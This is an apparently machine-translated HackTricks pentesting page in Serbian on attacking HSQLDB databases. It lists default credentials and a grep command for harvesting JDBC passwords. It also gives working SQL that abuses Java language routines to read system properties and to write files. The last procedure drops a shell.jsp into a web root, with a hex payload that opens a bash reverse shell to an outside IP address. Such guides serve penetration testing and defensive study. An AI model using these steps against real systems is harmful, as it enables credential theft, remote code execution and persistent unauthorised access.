tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
HSQLDB (HyperSQL DataBase) je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.
Podrazumevani port: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Информације
Подразумеване поставке
Имајте на уму да овај сервис по подразумеваној вредности вероватно ради у меморији или је повезан на localhost. Ако сте га нашли, вероватно сте искористили други сервис и покушавате да повећате привилегије.
Подразумевани креденцијали су обично sa
са празном лозинком.
Ако сте искористили други сервис, потражите могуће креденцијале користећи
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Napomena o imenu baze podataka - biće vam potrebno za povezivanje.
Prikupljanje informacija
Povežite se na DB instancu preuzimanjem HSQLDB i ekstraktovanjem hsqldb/lib/hsqldb.jar
. Pokrenite GUI aplikaciju (eww) koristeći java -jar hsqldb.jar
i povežite se na instancu koristeći otkrivene/slabe akreditive.
Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME
.
Trikovi
Java jezičke rutine
Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.
JRT-ovi mogu biti funkcije
ili procedure
. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći VALUES
izjavu.
Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa CALL
izjavom.
Čitanje Java sistemskih svojstava
Kreirajte funkciju:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Izvrši funkciju:
VALUES(getsystemproperty('user.name'))
Možete pronaći spisak sistemskih svojstava ovde.
Pisanje sadržaja u datoteku
Možete koristiti com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java gadget koji se nalazi u JDK (automatski učitan u klasu aplikacije) da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. Napomena: maksimalna veličina je 1024 bajta.
Kreirajte proceduru:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Izvrši proceduru:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.